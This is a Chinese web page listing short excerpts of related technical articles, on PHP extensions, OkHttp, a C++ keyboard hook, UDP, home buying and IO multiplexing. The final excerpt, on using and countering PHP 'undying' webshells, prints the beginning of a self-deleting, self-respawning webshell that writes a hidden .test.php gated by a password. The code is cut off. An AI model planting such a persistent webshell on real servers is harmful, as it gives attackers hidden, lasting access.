相关文章
php 安装mongodb扩展模块,rdkafka模块
mongodb
mongodb扩展下载
选择php版本,根据报错提示,选择扩展对应的版本选择非安全进程将php_mongodb.dll放到php/ext目录下修改php.ini配置,添加extensionphp_mongodb.dll开启php_mongodb扩展,重启服务php -m 查看是否开启成功…
建站知识
2024/11/28 2:29:44
okhttp4.11源码分析
目录
一,OKHTTP时序图
二,OKHTTP类图
三,OKHTTP流程图 一,OKHTTP时序图 上图是整个okhttp一次完整的请求过程,时序图里面有些部分为了方便采用了简单的描述,描述了主要的流程,细节的话&#…
建站知识
2024/11/28 2:39:50
c++实现键盘hook
c++实现键盘hook 项目中用到监控键盘事件,但是,有一次自己的程序被其他置顶程序把按键事件给过滤了,所以需要添加监控键盘钩子的方法,代码样例如下:#include <iostream>
#include <Windows.h>// 全局键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCod…
建站知识
2024/11/28 2:47:32
全面解析UDP协议(特点、报文格式、UDP和TCP的区别)
了解UDP(User Datagram Protocol)
UDP是无连接通信协议,即在数据传输时,数据的发送端和接收端不建立逻辑连接。简单来说,当一台计算机向另外一台计算机发送数据时,发送端不会确认接收端是否存在࿰…
建站知识
2024/11/28 2:31:04
买房需要了解的一些事
注:本文写于 2021年06月26日 是当时个人的看法, 因前段时间公众号全清空删除了,现在重新发出来。
近段时间二手房贷款全面收紧,对炒房行为应该能起到一定的抑制作用,个人觉得这是好事,(炒房客不…
建站知识
2024/11/28 2:46:22
探究IO多路复用select/poll/epoll的实现原理及优缺点
IO多路复用
多路指多个文件描述符,复用指使用一个线程。
IO多路复用通俗的理解就是一个线程监视多个文件描述符****,一旦某个文件描述符就绪,就通知应用程序对其进行读写操作。
select
select会将三个fd_set文件描述符集合(bitMap),即读集…
建站知识
2024/11/28 2:49:53
不死马的利用与克制(基于条件竞争)及变种不死马
不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件
这里以PHP不死马为例
测试代码:
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…
建站知识
2024/11/9 0:08:42